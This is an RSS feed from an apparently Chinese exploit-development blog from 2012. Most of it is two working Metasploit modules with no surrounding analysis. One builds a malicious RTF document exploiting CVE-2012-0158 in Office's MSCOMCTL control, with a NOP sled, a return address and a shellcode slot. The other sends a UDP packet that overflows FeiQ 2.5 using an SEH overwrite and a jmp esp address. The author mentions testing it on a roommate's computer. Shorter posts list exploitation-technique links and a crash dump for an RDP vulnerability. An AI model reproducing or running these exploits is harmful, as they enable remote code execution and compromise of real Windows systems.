<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CQ-CSER &#187; 其他</title>
	<atom:link href="http://cq-cser.cn/category/%e6%9c%aa%e5%88%86%e7%b1%bb/feed/" rel="self" type="application/rss+xml" />
	<link>http://cq-cser.cn</link>
	<description>计算机爱好者</description>
	<lastBuildDate>Wed, 02 May 2012 10:01:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>simple version of 2012-0158</title>
		<link>http://cq-cser.cn/2012/05/simple-version-of-2012-0158/</link>
		<comments>http://cq-cser.cn/2012/05/simple-version-of-2012-0158/#comments</comments>
		<pubDate>Wed, 02 May 2012 10:01:39 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1573</guid>
		<description><![CDATA[前些日子写的。精简版 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/' rel='bookmark' title='Permanent Link: feiq2008.2.5.0.0'>feiq2008.2.5.0.0</a></li>
<li><a href='http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/' rel='bookmark' title='Permanent Link: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS'>QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS</a></li>
<li><a href='http://cq-cser.cn/2012/01/2012/' rel='bookmark' title='Permanent Link: 2012'>2012</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>前些日子写的。精简版<span id="more-1573"></span><br />
<code>##<br />
# This file is part of the Metasploit Framework and may be subject to<br />
# redistribution and commercial restrictions. Please see the Metasploit<br />
# web site for more information on licensing and terms of use.<br />
#   http://metasploit.com/<br />
##</p>
<p>require 'msf/core'</p>
<p>class Metasploit3 < Msf::Exploit::Remote<br />
	Rank = NormalRanking</p>
<p>	include Msf::Exploit::FILEFORMAT<br />
	include Msf::Exploit::Seh</p>
<p>	def initialize(info = {})<br />
		super(update_info(info,<br />
			'Name'           => 'office cve-2012-0158 ',<br />
			'Description'    => %q{<br />
					CVE-2012-0158 office version<br />
			},<br />
			'License'        => MSF_LICENSE,<br />
			'Author'         =><br />
				[<br />
					'XX ', # Original Exploit<br />
					'hellok', # MSF Module<br />
				],<br />
			'References'     =><br />
				[<br />
					[ 'EDB',  ]<br />
				],<br />
			'DefaultOptions'  =><br />
				{<br />
					'ExitFunction' => 'process',<br />
					'InitialAutoRunScript' => 'migrate -f',<br />
				},<br />
			'Platform'       => 'win',<br />
			'Payload'        =><br />
				{<br />
				   #'Space'           => 200,<br />
				   #'BadChars'        => "\x00\x0a\x0d\x1a\x80",<br />
				   #'DisableNops'     => true,<br />
				   #'StackAdjustment' => -3500,<br />
				},</p>
<p>			'Targets'        =><br />
				[<br />
					[ 'Windows XP',<br />
						{<br />
							'Ret'     => "\x2f\x49",<br />
							'Offset'  => 4102,<br />
							'Padding' => 1879<br />
						}<br />
					],<br />
					[ 'Windows 7',<br />
						{<br />
							'Ret'     => "\x2f\x49",<br />
							'Offset'  => 4102,<br />
							'Padding' => 1931<br />
						}<br />
					],<br />
				],<br />
			'Privileged'     => false,<br />
			'DisclosureDate' => '',<br />
			'DefaultTarget'  => 0))</p>
<p>		register_options(<br />
			[<br />
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf']),<br />
			], self.class)</p>
<p>	end</p>
<p>	def exploit</p>
<p>		head1="{\\rtf1<br />
{\\object\\objocx<br />
{\\*\\objdata<br />
01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E32000000000000000000000E0000<br />
D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F028362800000000ab9bDFB9340DCD018c49DFB9340DCD01030<br />
00000000600000000000003004F0062006A0049006E0066006F0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000003004F00430058004E0041004D004500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000001000000160000000000000043006F006E00740065006E007400730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000020000007E05000000000000FEFFFFFFFEFFFFFF030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F0000001000000011000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF009203000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004C0069007300740056006900650077004100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000a50A0000050500004E087DEB010006001C000000000000000000000000060001560A000001EFCDAB00000500985D6501070000000800008005000080000000000000000000000000000000001FDEECBD010005009017190000000800000049746D7364<br />
"<br />
		head2="00000002000000010000000C000000436F626A640000004141000041410000000000000000000000000000"<br />
		jmp_esp="1245fa7f"<br />
		buffer="909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"<br />
		head4="000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<br />
}<br />
}<br />
}"<br />
		print_status("buffer.length:#{buffer.length}")<br />
		if payload.encoded.length >  buffer.length<br />
			print_status("Shellcode too long")<br />
		else<br />
			payload_buf = ''<br />
			payload_buf << payload.encoded<br />
			escaped_payload = Rex::Text.to_hex(payload_buf, prefix = "", count = 1)#to_unescape to_hex_ascii to_unicode hex_to_raw to_hex_dump<br />
			buffer[16,escaped_payload.length]=escaped_payload<br />
			print_status("escaped_payload.length:#{escaped_payload.length}")<br />
			head1<<head2<br />
			head1<<jmp_esp<br />
			head1<<buffer<br />
			head1<<head4<br />
			file_create(head1)<br />
		end</p>
<p>	end<br />
end<br />
</code></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/' rel='bookmark' title='Permanent Link: feiq2008.2.5.0.0'>feiq2008.2.5.0.0</a></li>
<li><a href='http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/' rel='bookmark' title='Permanent Link: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS'>QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS</a></li>
<li><a href='http://cq-cser.cn/2012/01/2012/' rel='bookmark' title='Permanent Link: 2012'>2012</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2012/05/simple-version-of-2012-0158/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>feiq2008.2.5.0.0</title>
		<link>http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/</link>
		<comments>http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/#comments</comments>
		<pubDate>Sat, 07 Apr 2012 19:20:36 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1565</guid>
		<description><![CDATA[星期6的夜晚总是让人想到很多东西 调了下飞秋2.5.0.0测试版 可惜室友的64位WIN7没弹计算器。msf代码如下 下载地址 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking Rank [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
<li><a href='http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/' rel='bookmark' title='Permanent Link: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS'>QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS</a></li>
<li><a href='http://cq-cser.cn/2010/01/internet-explorer-aurora-exploit/' rel='bookmark' title='Permanent Link: Internet Explorer Aurora Exploit'>Internet Explorer Aurora Exploit</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>星期6的夜晚总是让人想到很多东西<br />
调了下飞秋2.5.0.0测试版<br />
可惜室友的64位WIN7没弹计算器。msf代码如下<br />
<span id="more-1565"></span><br />
<a href="http://www.feiq18.com/forum.php?mod=viewthread&#038;tid=4610&#038;extra=page%3D1">下载地址</a><br />
<code>##<br />
# This file is part of the Metasploit Framework and may be subject to<br />
# redistribution and commercial restrictions. Please see the Metasploit<br />
# Framework web site for more information on licensing and terms of use.<br />
#   http://metasploit.com/framework/<br />
##</p>
<p>require 'msf/core'</p>
<p>class Metasploit3 < Msf::Exploit::Remote<br />
	#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking<br />
	#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking<br />
	Rank = NormalRanking</p>
<p>	include Msf::Exploit::Remote::Udp<br />
	include Msf::Exploit::Remote::Seh</p>
<p>	def initialize(info = {})<br />
		super(update_info(info,<br />
			'Name'		=> 'feiQ2.5 remote buffer overflow',<br />
			'Description'	=> %q{<br />
					Provide information about the vulnerability / explain as good as you can<br />
					Make sure to keep each line less than 100 columns wide<br />
					0049D04E  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds:[esi]      ;<br />
			},<br />
			'License'		=> MSF_LICENSE,<br />
			'Author'		=><br />
				[<br />
					'insert_name_of_person_who_discovered_the_vulnerability<user[at]domain.com>',	# Original discovery<br />
					'hellok',	# MSF Module<br />
				],<br />
			'References'	=><br />
				[<br />
					[ 'OSVDB', '<insert OSVDB number here>' ],<br />
					[ 'CVE', 'insert CVE number here' ],<br />
					[ 'URL', '<insert another link to the exploit/advisory here>' ]<br />
				],<br />
			'DefaultOptions' =><br />
				{<br />
					'ExitFunction' => 'process', #none/process/thread/seh<br />
					#'InitialAutoRunScript' => 'migrate -f',<br />
				},<br />
			'Platform'	=> 'win',<br />
			'Payload'	=><br />
				{<br />
					'BadChars' => "", # <change if needed><br />
					'DisableNops' => true,<br />
				},</p>
<p>			'Targets'		=><br />
				[<br />
					[ 'WIN7',<br />
						{<br />
							'Ret'   	=>	0x0050511e,#{pivot 1484}  # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,5C8 # RETN<br />
							'Offset'	=>	0<br />
						}<br />
					],<br />
				],<br />
			'Privileged'	=> false,<br />
			#Correct Date Format: "M D Y"<br />
			#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec<br />
			'DisclosureDate'	=> 'MONTH DAY YEAR',<br />
			'DefaultTarget'	=> 0))</p>
<p>		register_options([Opt::RPORT(2425)], self.class)</p>
<p>	end</p>
<p>	def exploit</p>
<p>		connect_udp</p>
<p>        print_status("Trying target #{target.name}...")</p>
<p>		header  = "1_lbt4_1#65664#6CF04987CC1A#570#31741#2147483648#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:"<br />
		jmp_esp = "\x12\x45\xfa\x7f" #0x7FFA4512 jmp esp<br />
		padding="0"<br />
		packet = "\x90"*7474<br />
        packet[0,header.length] = header<br />
		packet[408,8] = jmp_esp<br />
		packet[408+8+8,payload.encoded.length] = payload.encoded<br />
		packet << padding<br />
		packet << [target.ret].pack("V") #SEH<br />
		packet << [target.ret].pack("V") #SEH FUNC</p>
<p>		print_status("Trying target #{target.name}...")</p>
<p>		udp_sock.put(packet)</p>
<p>        handler<br />
        disconnect_udp</p>
<p>	end<br />
end<br />
</code></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
<li><a href='http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/' rel='bookmark' title='Permanent Link: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS'>QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS</a></li>
<li><a href='http://cq-cser.cn/2010/01/internet-explorer-aurora-exploit/' rel='bookmark' title='Permanent Link: Internet Explorer Aurora Exploit'>Internet Explorer Aurora Exploit</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>利用技术整理</title>
		<link>http://cq-cser.cn/2012/03/%e5%88%a9%e7%94%a8%e6%8a%80%e6%9c%af%e6%95%b4%e7%90%86/</link>
		<comments>http://cq-cser.cn/2012/03/%e5%88%a9%e7%94%a8%e6%8a%80%e6%9c%af%e6%95%b4%e7%90%86/#comments</comments>
		<pubDate>Tue, 20 Mar 2012 05:52:09 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1559</guid>
		<description><![CDATA[1.LINUX空指针引用 2.写00地址 //TODO PDF: 数据流： http://www.ccf.org.cn/sites/ccf/weekly/papers/王铁磊1.pdf flash: aslr bypass http://zhodiac.hispahack.com/my-stuff/security/Flash_ASLR_bypass.pdf   http://kernelfun.blogspot.com/ http://browserfun.blogspot.com/ http://projects.info-pull.com/mokb/ http://www.abysssec.com/blog/2010/09/01/moaub-1/ Related posts:android-adb-shell-cookie Blogs, Feeds, Guides &#038; Links[zz]


Related posts:<ol><li><a href='http://cq-cser.cn/2011/01/android-adb-shell-cookie/' rel='bookmark' title='Permanent Link: android-adb-shell-cookie'>android-adb-shell-cookie</a></li>
<li><a href='http://cq-cser.cn/2011/11/blogs-feeds-guides-linkszz/' rel='bookmark' title='Permanent Link: Blogs, Feeds, Guides &#038; Links[zz]'>Blogs, Feeds, Guides &#038; Links[zz]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>1.<a href="http://www.80vul.com/webzine_0x05/0x09%20Exploit%20Linux%20Kernel%20Slub%20Overflow.html">LINUX空指针引用</a><br /> 2.写00地址<br /> //TODO</p>
<p><span id="more-1559"></span></p>
<p>PDF:<br /> 数据流：<br /> http://www.ccf.org.cn/sites/ccf/weekly/papers/王铁磊1.pdf</p>
<p>flash:</p>
<p>aslr bypass</p>
<p><a href="http://zhodiac.hispahack.com/my-stuff/security/Flash_ASLR_bypass.pdf">http://zhodiac.hispahack.com/my-stuff/security/Flash_ASLR_bypass.pdf</a></p>
<p> </p>
<p><a href="http://kernelfun.blogspot.com/">http://kernelfun.blogspot.com/</a></p>
<p><a href="http://browserfun.blogspot.com/">http://browserfun.blogspot.com/</a></p>
<p><a href="http://projects.info-pull.com/mokb/">http://projects.info-pull.com/mokb/</a></p>
<p><a href="http://www.abysssec.com/blog/2010/09/01/moaub-1/">http://www.abysssec.com/blog/2010/09/01/moaub-1/</a></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2011/01/android-adb-shell-cookie/' rel='bookmark' title='Permanent Link: android-adb-shell-cookie'>android-adb-shell-cookie</a></li>
<li><a href='http://cq-cser.cn/2011/11/blogs-feeds-guides-linkszz/' rel='bookmark' title='Permanent Link: Blogs, Feeds, Guides &#038; Links[zz]'>Blogs, Feeds, Guides &#038; Links[zz]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2012/03/%e5%88%a9%e7%94%a8%e6%8a%80%e6%9c%af%e6%95%b4%e7%90%86/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2012-0002</title>
		<link>http://cq-cser.cn/2012/03/2012-0002/</link>
		<comments>http://cq-cser.cn/2012/03/2012-0002/#comments</comments>
		<pubDate>Wed, 14 Mar 2012 16:18:22 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1550</guid>
		<description><![CDATA[更新： 写一个可靠地POC真的很有挑战，有兴趣的周末有空可以试试 同时看到个PYTHON的POChere,什么叫“chinese shit”,那不是一个文明人应该说的话。 ANOTHER POC Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Windows\Minidump\031512-48641-01.dmp] Mini Kernel Dump File: Only registers and stack trace are available Symbol search path is: SRV*c:\sym*http://msdl.microsoft.com/download/symbols Executable search path is: Windows 7 Kernel Version 7600 MP (2 procs) Free x86 compatible [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2012/01/2012/' rel='bookmark' title='Permanent Link: 2012'>2012</a></li>
<li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
<li><a href='http://cq-cser.cn/2011/10/darungrim/' rel='bookmark' title='Permanent Link: darungrim'>darungrim</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>更新：<br />
写一个可靠地POC真的很有挑战，有兴趣的周末有空可以试试</p>
<p>同时看到个PYTHON的POC<a href="http://pastebin.com/UzDKcCQy">here</a>,什么叫“chinese shit”,那不是一个文明人应该说的话。</p>
<p><a href="http://blog.binaryninjas.org/?p=58">ANOTHER POC</a></p>
<p><span id="more-1550"></span>
<p>
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86<br />
Copyright (c) Microsoft Corporation. All rights reserved.</p>
<p>Loading Dump File [C:\Windows\Minidump\031512-48641-01.dmp]<br />
Mini Kernel Dump File: Only registers and stack trace are available</p>
<p>Symbol search path is: SRV*c:\sym*http://msdl.microsoft.com/download/symbols<br />
Executable search path is:<br />
Windows 7 Kernel Version 7600 MP (2 procs) Free x86 compatible<br />
Product: WinNt, suite: TerminalServer SingleUserTS<br />
Built by: 7600.16905.x86fre.win7_gdr.111025-1503<br />
Machine Name:<br />
Kernel base = 0&#215;84813000 PsLoadedModuleList = 0x8495b810<br />
Debug session time: Thu Mar 15 00:09:37.977 2012 (UTC + 8:00)<br />
System Uptime: 0 days 4:51:31.285<br />
Loading Kernel Symbols<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
&#8230;&#8230;<br />
Loading User Symbols<br />
Loading unloaded module list<br />
&#8230;&#8230;&#8230;<br />
*******************************************************************************<br />
*                                                                             *<br />
*                        Bugcheck Analysis                                    *<br />
*                                                                             *<br />
*******************************************************************************</p>
<p>Use !analyze -v to get detailed debugging information.</p>
<p>BugCheck 1000008E, {c0000005, 939a0987, b43d9804, 0}</p>
<p>*** WARNING: Unable to verify timestamp for Hookport.sys<br />
*** ERROR: Module load completed but symbols could not be loaded for Hookport.sys<br />
Probably caused by : termdd.sys ( termdd!IcaBufferAllocEx+1b )</p>
<p>Followup: MachineOwner<br />
&#8212;&#8212;&#8212;</p>
<p>1: kd> k<br />
ChildEBP RetAddr<br />
b43d9884 a4a11232 termdd!IcaBufferAllocEx+0x1b<br />
b43d98a4 a4a2b405 RDPWD!WDICART_IcaBufferAllocEx+0&#215;24<br />
b43d98c8 a4a2b46e RDPWD!StackBufferAllocEx+0x5c<br />
b43d98f4 a4a1c722 RDPWD!MCSDetachUserRequest+0&#215;29<br />
b43d9908 a4a170ff RDPWD!NMDetachUserReq+0&#215;14<br />
b43d9914 a4a1666c RDPWD!NM_Disconnect+0&#215;16<br />
b43d9920 a4a1c821 RDPWD!SM_Disconnect+0&#215;27<br />
b43d9930 a4a1c762 RDPWD!SM_OnConnected+0&#215;70<br />
b43d9950 a4a174d3 RDPWD!NMAbortConnect+0&#215;23<br />
b43d9990 a4a16f3c RDPWD!NM_Connect+0&#215;68<br />
b43d99b0 a4a14f64 RDPWD!SM_Connect+0x11d<br />
b43d99ec a4a15764 RDPWD!WDWConnect+0&#215;557<br />
b43d9a28 a4a108df RDPWD!WDLIB_TShareConfConnect+0xa0<br />
b43d9a3c 939a45f1 RDPWD!WDSYS_Ioctl+0x6c9<br />
